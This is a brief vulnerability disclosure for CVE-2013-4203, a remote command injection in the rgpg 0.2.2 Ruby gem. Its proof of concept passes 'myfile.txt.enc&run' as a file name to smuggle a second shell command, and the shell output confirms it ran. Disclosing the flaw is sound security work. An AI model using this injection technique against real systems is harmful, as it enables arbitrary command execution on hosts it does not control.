Rgpg 0.2.2 Ruby Gem Remote Command Injection
CVE ID(s):
CVE-2013-4203
Notified: 2013-08-01
Description:
A simple Ruby wrapper around gpg command for file encryption. rgpg is a simple API for interacting with the gpg tool. It is specifically designed to avoid altering global keyring state by creating temporary public and secret keyrings on the fly for encryption and decryption.
Exploit:
larry@sp0rk:~$ cat /bin/run #!/bin/sh echo "Command Injection" > /tmp/rci.txt irb(main):027:0* Rgpg::GpgHelper.encrypt_file 'mykey.pub', 'myfile.txt', 'myfile.txt.enc&run' => nil irb(main):028:0> gpg: keyring `/tmp/gpg-key-ring20130804-2970-1et1k4c' created gpg: processing message failed: eof After above completes: larry@sp0rk:~$ ls -l /tmp/rci.txt -rw-rw-r-- 1 larry larry 18 Aug 4 11:12 /tmp/rci.txt larry@sp0rk:~$ cat /tmp/rci.txt Command Injection larry@sp0rk:~$
Notes:
95948